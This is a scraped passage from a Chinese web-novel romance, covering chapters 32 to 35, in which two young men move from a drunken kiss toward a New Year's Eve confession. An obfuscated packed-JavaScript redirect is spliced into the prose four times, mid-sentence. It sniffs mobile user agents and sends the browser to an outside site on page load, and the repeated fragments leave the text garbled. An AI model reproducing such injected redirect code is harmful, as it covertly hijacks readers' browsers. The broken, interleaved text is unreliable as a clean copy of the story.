l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206515|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感是温热的、味道是甜蜜的。 时间似乎停滞住了,谁也不舍得先退离。 京西大学校门口,一场美妙的亲吻持续了十分钟。 最后还是祁言先退离开,唇与唇分开的时候,涎水拉成一条细长的丝又弹回左屹的嘴上。 左屹眼神满是水雾,迷离的神情似乎还有些意犹未尽。 祁言帮他擦干净嘴角残留的罪证。 片刻,左屹才从美妙的体验中回神,软软地问了句:“你,为什么亲我?” 左屹心里打着鼓,他期待祁言承认自己是因为喜欢他,所以才情不自禁。 祁言今夜太失控了,是他没守好底线,他的小孩要慢慢引导,慢慢教才对。 “以后再对这种事好奇,不要找别人。” “你什么意思?” 左屹没听懂,难道这场亲吻,只是为了应对他的好奇心? “我会教你。” 左屹心情复杂地不知该如何形容,他疯了一样想知道祁言对他到底是什么感情。 是兄弟情、亲情、还是对他动心了? 直男会在大街上深吻另一个男人吗? 即便是男人之间对技巧的探讨或教学,真的会做到这个地步吗? 这些问题在日后困扰了他很长一段时间,这些天左屹更加关注祁言对待自己的态度,时不时也会故意制造一些身体接触去试探。 也不知道祁言是真的能装,还是他那晚的吻确实只是个教学吻,无论左屹怎么试探,祁言都无动于衷。 周六傍晚,左屹决定来剂猛药,训练结束后特地去买了几瓶红酒回家。 今晚,他要将祁言灌醉,酒后吐真言这招一定事半功倍。 祁言做完晚饭,左屹倒好红酒,两人坐上桌,一切准备就绪。 左屹举起酒杯,“言哥,陪我喝点。” 祁言笑着也举起手中的酒杯,和他的轻轻一碰,一杯下肚面不改色。 “怎么突然喝红酒?”祁言问。 左屹吃了一口青椒肉丝,心道因为红酒后劲大,上头。 “我们好像还没单独喝过酒,反正闲着也是闲着,就喝点呗。” 饭后,两瓶酒喝完左屹看东西都重影了。 他们又转移战场,坐在左屹新买的毛绒绒地毯上,靠着沙发喝着第三瓶。 左屹提前打开了投影仪,投屏开始播放他有意准备的电影《春光乍泄》。 电影的开头是两个男人在出租屋内的单人床上,做着一些不可描述的事,电影里两位演员拥抱亲吻的声音格外响亮。 左屹借着投影仪的光偷偷打量一旁的祁言,他很认真在欣赏这部经典电影,左屹故意凑到祁言的耳边挑逗地问:“言哥,他们两个在床上做什么啊?” 祁言瞧上去心如止水,看也不看他,回答道:“做.爱。” “可他们都是男的,怎么做啊?”左屹又故意灌完一杯酒,然后伸手在祁言的腿上一通乱摸,“酒呢?” 祁言扣住他逐渐放肆的手,“小屹,别喝了。” 左屹放下酒杯侧过身体,两只手覆上祁言的脸颊,“好吧,可是你还没回答我,两个男人怎么做.爱……” 32.霸王别姬 祁言被迫看向眼眸含春的左屹,情难自禁滚动了下喉结,“你想学?” 这股性感的嗓音激得左屹浑身起了鸡皮疙瘩,捧着祁言脸颊的双手开始出汗,他抿了抿唇,“是啊,你能教吗?” 其实左屹脑袋晕得已经看不清祁言是什么表情了,他眨巴着眼睛努力保持清醒。 祁言伸出右手捏住左屹的下巴,一下又一下地轻轻揉捏,这异样的触感令左屹舒服又难受,他甩了甩脑袋,唤了声:“哥~” 祁言顿时口干舌燥,他几乎已经确定左屹对他的心意,可是他想要的从来都不是短暂的激情,而是和左屹的一辈子,心急吃不了热豆腐,所以在小孩彻底明白什么是“爱”以前,他都不能失控。 “小屹,”祁言一手扣住左屹的两只手腕高举过头顶,上半身将左屹压到沙发边,俯下头对着他的耳畔说道:“别急,我们慢慢来。” 左屹勾起的这场□□最终覆灭在祁言自控中。 而左屹没过五分钟竟传来了均匀的呼吸声,他睡着了。 祁言无奈地摇了摇头,然后趁月亮藏进云层之后,蜻蜓点水般偷尝了一口红色禁果。 十二月中旬的一天晚上,丁文笑打来电话,话筒里她的声音抑制不住地兴奋问道:“月底你们俩有时间吗?” 祁言窝在沙发上看电影,左屹在一旁地板上平板支撑抢先回答:“干嘛?谈了对象要带来见娘家人?” “放屁,姐姐我事业上升期,不可能找对象的,男人只会影响我红的速度。” “哈哈,我信你个鬼哦。”左屹调侃。 丁文笑不耐烦了,“到底有没有空?” 祁言:“有。” “行,我给你俩发两张电子邀请函,到时候来京西电影学院看我的期末汇演。”丁文笑的兴奋震耳欲聋。 左屹撑不动了,起了身坐到祁言旁边,对着手机问:“你演啥?” “嘻嘻,菊仙。”丁文笑回答。 祁言和左屹异口同声:“霸王别姬?” “嗯哼~” 怪不得丁文笑兴奋,《霸王别姬》这部电影是他们仨高中时一起在祁言家看的,也是他们对爱情的启蒙电影。 曾经他们因为男主段小楼到底爱菊仙还是程蝶衣而吵得不可开交,也是因为那次的争吵祁言不自觉将自己代入程蝶衣这个悲剧角色里。 他很小就知道自己喜欢的那个人是男生,和程蝶衣一样他也是个固执的人,他们爱上了就是一辈子。 男主段小楼遇到妻子菊仙以前也是百般宠溺着程蝶衣,两人一曲《霸王别姬》誉满京城,他曾许诺过程蝶衣会和他唱一辈子戏,程蝶衣也义无反顾的相信。 最后,却是段小楼的一句不疯魔不成活违背了诺言,打发了程蝶衣热烈的爱。 爱而不得,是程蝶衣的结局。 祁言不要这种结局,他要得偿所愿,他要左屹非他不可。 所以,在和母亲离开月亮湾小院以后,他故意换掉了手机号码,注销了微信,彻底消失在左屹的世界里。 那时他和自己打了一个赌,如果一年后左屹出现在京西他便赌赢了。 若是没来,他便也不疯魔不成活,甘心沦为戏中人。 - 跨年前夜,左屹和祁言抱着花束来到京影礼堂。 观众席高朋满座,看上去大多都是电影学院的学生或演职人员的亲朋好友,他们的座位离舞台不远。 晚上七点整,礼堂关灯,观众席漆黑一片,舞台的红色幕帘缓缓揭开。 “虞姬,你可有悔” “妾随大王,生死无悔” 故事从程蝶衣和段小楼第一次登台表演《霸王别姬》开始。 这一幕原原本本还原了电影里的情境,左屹的思绪被狠狠牵动,仿佛一下子回到了高中他们一起看电影的下午…… 江城的夏天犹如架在火炉上炙烤的蒸笼,左屹刚参加完市内游泳比赛拿了还不错的成绩,铁三角窝在祁言家里吹空调。 左屹是个闲不住的人,祁言在看书,丁文笑抱着手机和同学聊得不亦乐乎,只有他无聊得发慌。 左屹呈大字趴在祁言的床上,一只脚还在勾祁言的椅子,“喂,我说你们两个能不能行,一句话不说当我空气啊?” 祁言抬眼,放下手里正看得津津有味的书籍,“怎么了?” “没事干就耍脾气呗。”丁文笑不稀得搭理他,回着手机消息,眼皮都懒得抬。 左屹趁她不注意,一把抢过手机塞进运动裤里。 气得丁文笑张牙舞爪扑倒床上去拉他的裤子,“左屹,你有毛病啊?把我的手机丢你裤子里恶不恶心。” “陪我看电影就还给你。”左屹翻身下床,按着裤子里的手机躲到祁言椅子后面。 两个人隔着祁言来回打闹,祁言被他们闹得受不了,按住左屹伸手到他的运动裤找到手机还给丁文笑,然后拎着两人去到客厅,打开电视找要看的电影。 选电影是个难题,丁文笑要看喜剧,左屹非要看恐怖片,最后决定权交到祁言身上,他选择了一部极有深度的爱情片《霸王别姬》。 一开始丁文笑和左屹还对这部电影嗤之以鼻,直到程蝶衣那句:“说好了是一辈子,差一年,差一个月,差一个时辰,都不是一辈子。” 左屹才惊觉电影里程蝶衣对师兄段小楼的感情不正常。 一个男人竟然想要和另一个男人过一辈子!! 祁言坐在他旁边看得认真,可左屹不然,这是他第一次粗浅了解同□□情,顿时心慌不已。 因为他也曾在夜深人静的时候想过,其实就这样和祁言待一辈子也挺好的。 左屹无法接受自己对兄弟有非分之想这件事,认为不过凑巧而已。 在看到段小楼娶了菊仙后,程蝶衣的痛苦和堕落,左屹心情越是五味杂陈,他偷偷幻想着如果祁言以后和一个女人结婚生子,心情差得连呼吸都变得粗重。 不能接受!他不能接受! 可少年对性取向的认知终究是逃不开世俗的。 左屹更不能接受自己可能是个同性恋。 左屹悄悄打量起祁言,每一眼仿佛都在确认祁言在他心里只是兄弟,是家人! 可越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229944|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看越觉得祁言好帅,喉结好性感……眼睛逐渐被美丽的事物蒙蔽,想确认的事变成了虚无。 过程中,他不小心碰到祁言的身体吓得马上弹开,夸张的反应引起祁言的注意,祁言侧过头不解问道:“你在干什么?” “什么干什么?你看电影啊,我脸上有钱啊你看我!”左屹倒打一耙,吼得祁言眯了眯眼。 后面的日子里左屹能躲着祁言就躲着,连丁文笑都发现了他的反常骂他有病。 几年后,舞台上演绎的依旧是《霸王别姬》,祁言依然坐在他的身边陪他观影,丁文笑却站在舞台上成为了剧中主角菊仙。 台下的左屹在祁言不告而别后终于看清了自己的心,甘心接受自己喜欢上的是一个男人。 时间一分一秒过去,舞台上演到程蝶衣穿着虞姬的京戏服,脸上的旦角妆早已被批斗折磨得脏乱不堪,眸子也失去了以往的光亮,他终于在悲愤和绝望中揭发菊仙的姹紫嫣红、断壁残垣,和乱世彻底撕破了脸。 这一幕令在场所有的观众都揪紧了心脏,大家都屏住呼吸,认真观看丁文笑饰演的菊仙从震惊转化为听到段小楼当众承认他不爱自己时的绝望。 一张张批斗的嘴都成了剜她心脏的利刃,最后,一代名妓菊仙终落个悬梁自尽的结局。 全场灯暗,只有一束白色追光打在菊仙笑着将一段白绫套上脖子的动作上。 汇演结束在这一幕,幕帘开始缓缓闭合,刹那间,观众席掌声雷动,经久不息。 丁文笑精准拿捏了每一个演绎细节,将人物饰演得惟妙惟肖,入木三分。 这场话剧汇演的结局虽和原著上有所出入,但虞姬和霸王留给了观众无限的遐想,而丁文笑成为了整场演绎里最受瞩目的演员。 左屹在黑暗里悄悄抹了把眼泪,等演职人员谢完幕,他和祁言走到台前,为丁文笑送上一大束鸢尾花。 左屹太激动了,看到还穿着菊仙戏服的丁文笑就忍不住冲上去紧紧抱住她,好似下一秒她又会拿出白绫往自己脑袋上套。 “好了好了,可以出戏了大哥。”丁文笑故意用最轻松的语气调侃左屹。 同时,她也是在提醒自己一曲唱尽,适时抽离。 这时,丁文笑的同学来叫她,说导师带了几个人来见她,催得很急。 全程祁言都没有和她说上话,她却在临走前着急忙慌将祁言拉到一边,避开了左屹。 丁文笑抱着鸢尾花笑眯眯地和祁言说道:“言哥,这出戏是我专门排的吗,你觉得怎么样?” 祁言看得出她的用心,肯定道:“你的演绎很震撼我,故事的结局留白也很勾人。” 丁文笑知道他没理会意思,又说:“准确来说,这部戏是我送给你们的礼物。” “什么意思?”祁言问道。 “这部电影承载我们仨共同的回忆,我的首场汇演一定要有意义,”丁文笑赶时间,一口气和他解释:“我编排的故事结尾里没有段小楼和程蝶衣,因为我希望他们在平行时空里,能拥有一个圆满结局。” 丁文笑离开前故意撞了一下左屹的肩膀就跑了。 33.一起跨年 晚上庆功宴,左屹和祁言都喝了不少酒,回家后左屹醉醺醺地沉浸在剧情里,一个劲和祁言夸赞丁文笑的演技。 “嘿嘿,我得跟笑姐要个几百张签名照,以后万一火了值老钱了。”左屹掰着手指头算卖一百张能赚多少钱,怎么都算不明白。 祁言晚上替丁文笑挡了不少白酒,现在也是晕头转向的,他拍了拍左屹的肩膀跌跌撞撞去浴室洗漱。 冲澡到一半,浴室门猛地被推开,左屹冒冒失失边解裤子拉链边往浴室里乱撞。 “小屹,我在洗澡。” 祁言关掉水龙头,浴帘透出他宽肩窄腰和一条笔直大长腿的剪影。 浴室雾气升腾,在暖光灯的照射下左屹脑袋更加迷糊,看了一眼浴帘里勾勒出的剪影甩了甩脑袋,他尿急得很,现在只想赶紧排泄。 祁言听到马桶里的水流声渐小,想着左屹要出去了,准备重新打开热水冲洗身上的泡沫。 谁知在他毫无防备时,浴帘被人一把掀开,左屹赤裸着身子站在浴帘外,祁言顿时呼吸一滞。 “小屹,你是故意的。”祁言扣住左屹的下巴,强迫他抬眸看着自己的眼睛。 左屹目光呆滞,委屈地说:“我要洗澡。” 祁言扯下自己灰色的浴巾围在腰胯间,低头时目光恰好略过左屹的胯间,不禁倒吸一口凉气。 强烈的欲望瞬间侵袭了他的冷静和理智。 祁言将左屹拉到浴帘内,那块逼仄的空间升腾的雾气渐渐消散,还有些许残余萦绕在暖光灯下,形成云雾围在两人头顶缥缈。 祁言单手撑着墙壁,将左屹笼罩在身子下,左屹感受到压迫的热气,不满意地皱了皱眉头。 “左屹,你知道自己现在的行为有多危险吗?”祁言呼吸变得急促,身体的血液全朝一个地方奔涌。 左屹仍然不解,他只是想洗澡,好困,洗了澡才能睡觉啊。 “我要洗澡。” 祁言气不打一处来,把火苗点起来的罪魁祸首还瞪着双大眼,看起来一副无辜模样。 他和左屹的距离不过低头便能含住他的唇,祁言克制着自己和左屹保持安全距离。 祁言忍无可忍,他身上的沐浴液泡沫还没冲干净,身上的水珠早已冰冷,他将水龙头打开,莲蓬头里冒出来的热水浇淋着两个人,左屹刚开始不适应想躲,身子却被人按住,待习惯后热水的包裹令他舒服地哼唧一声。 祁言差点把持不住,他扣住左屹的脸,让激烈的水流淋在左屹的脸上,试图这是一种对他的惩罚,“希望明天你还能记得今晚发生的事。” “嗯。”冲热水澡太舒服了,左屹压根不知道发生了什么,只是一味地觉得很轻松很爽。 祁言打了点沐浴露,搓出泡沫开始往左屹身上抹,瞬间他的皮肤滑得溜手,手感极好,涂完全身祁言差点舍不得放开手。 帮醉到迷糊的左屹洗完澡,祁言身上的泡沫早被水冲干净了,他腰胯上的浴巾全被水淋得透湿再也不承重完完全全散落到地上,他根本来不及拾起。 左屹一脚将浴巾踢远,“走开,鬼东西。” 祁言无奈地扯了扯嘴角,自己的身体暴漏无余。 不过左屹好像并没有去看他的某个地方,而是盯着祁言的眼睛不放。 刚洗完澡的浴室味道混着雾气很好闻,两个人身上全是木质调的清香味道,祁言扯下左屹的水蓝色浴巾替他擦干了身子,又用这张浴巾将自己擦干。 祁言穿上睡裤后打横将光溜溜的左屹抱回床上,他后肋骨的外伤已经完全好了,骨裂也养得很好,现在基本上已经不疼了,抱起左屹走两步路还是很轻松的。 宁静的夜,左屹虽醉得厉害,但从浴室到床上,他都睁着一双大眼看着祁言,祁言好不容易躺进被窝里,却被这眼神看得浑身不自在。 祁言侧过身子,面对着左屹问道:“你有话想对我说?” 左屹点了点头,又摇了摇头。 祁言看他欲言又止的模样,再回想今晚丁文笑的话,他决定加快进度,左屹这小孩太闹腾了,他一点都不想等了。 “我有话问你,你现在能回答吗?” 左屹又木讷地点了点头。 “你有喜欢的人吗?”祁言问。 左屹将脸埋进枕头里,好一会才回答:“……有。” 祁言又问:“喜欢谁?” 左屹抬起头疯狂摇晃,“我不能说,会吓跑他的。” 祁言手臂压着枕头,手掌撑着脑袋,另一只手温柔地替左屹撩开遮挡眼睛的碎发:“有喜欢的对象要早点告诉他,说不定他也喜欢你呢?” 左屹眼眸变得黯淡,重复这句,“说不定……”又反问:“万一不喜欢我呢?知道我喜欢他会…他会跑掉。” “没有理由不喜欢你,告诉他,他就是你的了,知道吗?” 左屹嘟嘟囔囔不知道在说些什么,看上去是睡着了,果然不出两分钟他已经开始传出浅浅的呼噜声了。 祁言看了他的睡颜许久,轻声叹了口气才关掉台灯入眠。 左屹醒来时头疼欲裂,酒喝多了,他压根不记得昨天回家以后的事情。 喉咙发干,左屹起床去倒水,祁言还在熟睡,他低头看了眼,身上穿的是一套干净睡衣裤。 他确定昨晚是断片了,因为他印象里自己没有洗澡换睡衣这回事,但八九不离十猜到是祁言帮忙换的。 想到这里,左屹脸颊一热,他搁下手里的玻璃水杯,跑到客厅的卫生间拉开睡裤看了一眼,顿时眼前发黑。 内裤不是昨天穿的那条…… 左屹一想到昨夜祁言将他全身都看光了便浑身发麻。 好羞耻…… 他跑到房间门口探了探,祁言还没醒,他才松了口气,飞速洗漱完出了门。 左屹到学校时先到健身馆拉拉体能,昨晚又破戒喝酒,今天水下训练状态可能不会太好。进校队之后黄教练管得更加严厉,动不动训练完还要留下他语重心长地训几句,他可不敢松懈下来。 因为100m自由泳的抽查考核成绩不理想,他又被黄教练单独留下加训,出游泳馆的的时候已经是晚上了。 左屹从挎包里捞出手机看了看,一个电话、一条消息都没有。 在旧年里的最后一天,他竟然被所有人遗忘了,根本没人约他一起跨年! 就连祁言也没跟他联系…… 左屹跨坐在他的电动车上,决定主动约宿舍的人跨年去,哼 ! 他拨通李子豪的电话,对方很快接起:“干啥?” 左屹百无聊赖地拨弄车头贴着的哆啦A梦,问道:“要不要一起跨年?” “大哥有没搞错,跨年我肯定要和关关一起过啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232453|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你休想做电灯泡啊,”李子豪严厉警告:“你要实在没人陪,现在离跨年还有几个小时,赶紧去找个对象好吧?” 左屹觉得李子豪说话就像放屁,再听下去毫无营养,直接扣了电话。 第二通电话是打给冯桑,“左屹,怎么了?” 左屹弹着哆啦A梦的圆脑袋,问道:“一起跨年呗?” “啊?”冯桑支支吾吾的,憋了半天才说:“不好意思啊,梁一他特地请假回国陪我跨年,我可能……” 左屹立刻领悟,赶紧回了句:“好,祝二人世界愉快。”然后“啪”地挂了电话。 第三通打给了丁文笑,人家接都不带接的,连拨两次都无人接听。 正打算拨第三次时,祁言的电话进来了,左屹忐忑不安,脑子里又脑补了他看到自己裸体的画面,实在让人面红耳赤,尴尬万分。 他故意等到对方自动挂断,才踏上电动车往公寓骑。 谁知,祁言穿了件白色棉袄,戴着一顶灰色毛线帽一动不动地站在京体大门口,那挺拔优越的背影乍一看像是某位男明星到访,吸引了不少男男女女的目光。 左屹骑车走了一条不容易被门口人发现的小道,绕到他身后摘下哆啦A梦的头盔帅气问道:“帅哥,在等人啊?” 祁言闻声回头,悄然一笑:“嗯。” 左屹被他的笑容怔了几秒,然后摸了摸鼻子掩饰刚刚眼神里的惊喜,还故意朝四周看看,“人来了吗?要不小爷在这陪你一起等等?” “不了,我等的那人不会来了,所以这位小哥哥有没有兴趣和我一起去跨年?”祁言抿住唇,抬了下眉毛,看上去一副真被人放了鸽子的无奈模样,演技炉火纯青一点不比丁文笑的差。 不等左屹回答,祁言自顾自拿过他手里的头盔,然后替他戴好才又取下在车头晃荡的小猪头盔自己戴上。 “干嘛啊你,霸王硬上弓?我还没答应呢。”左屹占着全部的座位,不给祁言一点空间。 看到祁言来接他跨年,左屹心里早悄悄乐开了花,偏偏一想到昨晚这人不经过他的同意给他身体看了个遍,现在还一副正人君子的样子就忍不住想挑逗他几句。 “那请问这位帅气的小哥,要怎样才能答应我呢?”祁言戴着小猪头盔问道。 这个问题给他问不会了,那句话就是随口一说,怎么被祁言问出来感觉奇奇怪怪的…… 左屹清了清嗓子:“算了,看你长得这么好看,一起跨年我也不吃亏,走吧!”说完,他往后座一滑,“你带路。” 水蓝色的电动车在马路上驰骋,左屹在后座越想越兴奋,他猜测祁言会不会是要带他去吃顿好的,然后再去河边散步看烟花,也许还会给他买个气球,倒计时的最后一秒和大家一起将它放飞迎接新年的到来,再为对方送上第一句新年快乐。 可渐渐的左屹发现不对,祁言走的路线很眼熟,好像是他每天必经之路,直到祁言将他领进公寓门,他的脸已经黑如墨。 “帅哥,带我回家不会就是你说的一起跨年吧?”左屹对他的做法感到超级不满。 “稍等我一下。”祁言走进厨房,不一会端出了他提前准备好的菜肴。 “排骨藕汤、皮蛋拌豆腐、卤鸭脖、红菜苔炒腊肉……” 左屹看得眼眶一热,这些全部都是江城菜系,来京西之后再也没吃过了。 34.新年快乐 自从左屹来到京西,还没有找到机会回江城探望爸妈,瞬时有些自责。 “洗手,先吃饭吧。” 祁言端上最后一道菜,热乎乎的粉蒸肉,还是土豆打底的,左屹的最爱。 左屹愣愣怔怔去洗手,又愣愣怔怔回到餐桌前坐下,“这些都是你做的?” “嗯,尝尝,第一次做不知道合不合你胃口。”祁言夹了块肥瘦相间的粉蒸肉,放置左屹碗里 。 左屹将裹满蒸肉粉的五花肉夹起送进嘴巴里,细细咀嚼,“好吃,和我妈做的味道很像。” 祁言的眼神温柔如水,今晚他真的不想再等了。 左屹又盛了一碗心心念念了好久的莲藕排骨汤,要将这个汤炖好对藕的要求很高,一定得江城的藕才有那个味道,只喝了一口左屹猛地抬眼对上祁言的目光。 “这汤……”左屹鼻头酸涩,这是家里的味道,是江城的粉藕炖出来的汤,藕的清香完全炖进汤底里,是他非常熟悉的味道。 祁言在京西如何买到江城的藕? 他一天都不跟自己联系原来是在用心准备这顿晚餐,差点还以为是没打算两个人一起迎接新年…… 左屹一阵愧疚,相反的他什么也没准备。 桌上的菜很快被扫荡一空,左屹洗完碗回到客厅寻找祁言,他想带祁言出门,想给他买气球,想带他去河边看烟花秀。 “言哥…” 不在客厅里。 左屹又到主卧里去找,“言哥?” 水蓝色的窗帘被风吹起,吹得左屹打了个寒战,看上去是房间阳台的推拉门没关,难道他在阳台上? 左屹只穿了件单薄的长袖T恤,顶着冷风来到阳台外,祁言倚靠着围栏,双臂慵懒地架在栏杆上,左手食指和无名指夹着一根烟。 他的身旁还立着一台纯白色的天文望远镜。 左屹不希望祁言抽烟,却很喜欢看他抽烟的模样,和往常脾气温和的他完全不一样,他将香烟抽进肺里再吐出来时,烟雾里凤眼迷离,烟圈汇成一把勾人心魄的勾爪。 左屹发誓,他从没见过抽烟如此好看的男人,好看到连月亮都成了陪衬。 祁言嘴角上扬,左屹明明是出来找他的,现在却盯着他发了呆,不知道他又在想什么奇奇怪怪的事,“小屹。” “嗯?”左屹又被祁言的美色迷晕了头,他走向栏杆处,“阿嚏~”打了个喷嚏。 祁言将香烟灭进烟灰缸里,回房间拿了床毛毯给他披上。 “谢谢哥。”左屹乖巧道。 祁言捏了捏他披着毛毯的肩膀,和他一起趴在栏杆上,问道:“看过月亮吗?” 左屹脱口而出:“头一抬就能看到啊。” 祁言摇头,“不是这样看,”他走到天文望远镜前俯下身看目镜,右手转着调焦轮,很快他抬头将一旁好奇的左屹拉过来,“是用这个近距离看。” 他哪用这么高级的东西看过月亮啊,左屹雀跃,但是他马上就能看到啦! 左屹学着祁言的样子,俯下身眯起一只眼睛看向目镜,“是这样吗?我操……” “我看到了!我看到了,这就是月亮啊!好多坑啊……”左屹惊叹地手舞足蹈。 他眼前出现了一个庞然巨物,那个巨物身体有许许多多的坑坑洼洼,如同一幅巨大的、生动的浮雕画在眼前浮现,神秘又震撼。 “那是环形山,有学说认为,环形山是受到陨石撞击和火山活动后留下的痕迹,”祁言耐心地和他解释,“你可以数数能看到多少个环形山。” “好!我来数数,1、2、3……”左屹真的一个一个数着,但是数了这个忘了那个,越数越懵。 左屹好奇心爆棚,这是他第一次看到庞大的月球表面,欣赏地津津有味。 祁言替他掖好滑落到肩膀的毛毯,然后问道:“好看吗?” 左屹的眼睛从目镜上移开,想了一会,回答:“刚开始看还挺震撼的,后面越看越觉得挺压抑的。” 他伸手指了指挂在天空里的那轮明月:“不如那团小小的发着光的好。” 祁言小臂塔上栏杆,说道:“你知道吗,其实月亮已经死了二十亿年了。” “啊,月亮死了?” “嗯,我们所看到的月亮,只是一具没有能量的尸体,但它仍然牵引潮汐,我们在这具尸体的影响下诞生,几十年后又在这具尸体的凝视下消亡,月亮是唯一能做我们一辈子的见证者。” 左屹觉得这段话有些许深奥,他依着自己的理解回道:“照这么说,这具‘尸体’一点也不吓人,反而挺浪漫呀。” 祁言点了点头,“是啊,怪诞的浪漫,很极致、很特别。” 左屹察觉祁言心里藏了事,于是问道:“今天怎么突然教我看月亮,是…想陈姨了吗?” 左屹记得一月十号是陈姨的生日,再加上祁言今晚说的话怪怪的,不是死亡就是尸体,他笃定一定是想陈姨了。 其实他也很想,直到现在他时而回想起陈姨,会恍恍惚惚觉得她依然还在。 可能,真正的死亡是被人遗忘吧…… “小屹。” “什么?” 祁言终于唤回了左屹游走的思绪。 “我一直很想她,”祁言解释,“但今晚我是想告诉你,我遇见了一个很好的人,他的出现就像一片浩瀚星辰拯救了失去能量的月球空壳。” “……???” 左屹的脑袋一时连不上信号,遇见了一个很好的人是什么意思? “然后呢?”左屹问。 “宇宙里,每颗星球都是孤独的。直到他突然出现闯入我的生活,还不遗余力地将他的能量注入到我这颗空壳里,才令我重新活了过来。” 左屹听着很难受,到底多么优秀的人,才能成为被祁言称为是他的浩瀚星辰。 他强颜欢笑道:“那,那很好啊。” “他好像也是喜欢我的。”祁言紧盯着左屹的眼。 “……” 原来祁言和那个人是两情相悦,他想起自己前段时日对祁言的试探,不禁觉得丢脸,很丢脸! 左屹音量提高了一些,“那你去跟他说啊。” 跟我说干什么? 难不成要我去帮你表白啊? “!!!” 左屹内心酸涩,他不知道祁言为什么偏偏在这么有意义的日子和他说这些? 他要疯了! 祁言瞧着他的反应眯了眯眼,这小孩又想哪去了? 他轻轻叹了口气,然后抬手看了眼腕表,离新年还有最后一分钟,还是等转钟以后再说吧。 他拿出手机,随意点了个视频平台的跨年演唱会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240577|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,主持人正在倒计时:“5、4、3、2、1。” 祁言拉过左屹面对自己,他在倒计时结束的同时,对左屹说道:“新年快乐,小屹。” 一瞬间,五颜六色烟花腾空而起,燃放天空。 整个天空被火光照亮,光亮掩盖住了月亮,也遮掩了左屹眼眶里努力憋住的荧光。 “新年快乐。”左屹也轻声祝福道。 烟花的轰炸声响彻整座京西市,他微末的祝福声被淹没在惊天动地的巨响里,同时被淹没的还有祁言那句,“我喜欢的是你,笨蛋。” 左屹看见祁言的嘴皮动了,却没听见声音,不知道他说了什么,但是最后两个字他看懂了,是在骂他。 祁言看懂左屹的唇语说了新年快乐,却没有亲耳听到新年的第一句祝福。 烟花整整持续了十分钟,左屹便闷闷不乐了十分钟。 他不理解,祁言对他说喜欢别人就算了,最后为什么要骂他呢?? 放烟花的声音逐渐消融,祁言终于等到机会解释却被左屹的手机铃声打断。 左屹对祁言说:“是老宋。” “喂,妈。” “新年快乐,宝贝儿子!”老宋的声音听上去很兴奋,老左也在那头抢着说新年祝福。 左屹也回了句:“新年快乐,爸、妈。” 他又问:“你们怎么还没睡?” 忽然,左屹脸颊一冰,一片片白色的雪花往下飘落。 老宋:“我跟你老爸在收拾行李。” “左建雄!!跟你说别带这种压重量又不实用的东西,你怎么还往行李箱里放?” 左屹听到老宋的河东狮吼,好生亲切啊,不禁心里更委屈了:“妈,你们收拾行李要去哪?” “当然是来京西看你们啊!”老宋说,“小言是不是在你旁边,电话给他,我要跟宝贝干儿子说两句话。” “???” 左屹只觉天塌了,顿时头昏脑涨。 老宋怎么知道祁言在旁边?他们又是什么时候认的干妈干儿子? 祁言就这么想跟我撇干净不清不楚的关系吗?连干妈都认上,这下真成兄弟了。 大家都疯了,祁言疯了,老宋疯了,连天气也疯了,他妈的为什么突然下雪啊! 真是烦透了…… 他瞪了祁言一眼,将手机递了过去。 祁言跟他们先是互道新年祝福,后来一口一个干妈干妈叫得老宋心花怒放,手机那头的笑声就没断过。 左屹听不下去了,先一步回了房间拿睡衣去洗漱,他边洗澡边骂骂咧咧唱道,“新年一来到,世界终于发癫辽~” 等出了浴室,祁言已经从阳台回到主卧,他说:“宋姨和左叔明天下午到京西机场,等你训练完一起去接他们?” 左屹敷衍道:“哦。” “小屹。” 左屹钻进被子里,语气有点不耐烦:“干嘛?” 祁言察觉左屹情绪变得急躁,“我有些话可能让你误……” 又来了又来了,又要开始说感情史了是吗? 不想听不想听! 我他妈又不是爱情狗头军师。 “我好困啊,改天再聊这些吧。”左屹假装打了个呵欠,背过身去不再搭理祁言。 祁言的话落在嘴边硬生生又憋了回去。 35.浩瀚星辰 “不好意思同学,我有喜欢的……” “他是一个很好的人……” “月亮死了……” “我的浩瀚星辰……” “笨蛋。” 左屹做了整整一夜怪梦,梦里祁言牵着另一个模糊人影的手说那是他一辈子想要在一起的人,他疯狂逃窜,可是逃到哪里两人恩爱依偎的身影永远挡在他前面,根本无所遁形。 起床时他的心情极差,下训后梦里的场景还在攻击他的思绪,烦得左屹恨不得原地消失二十四小时。 校园被雪花染上一层白色,左屹拖着疲累的身体一时之间不知道去哪里。 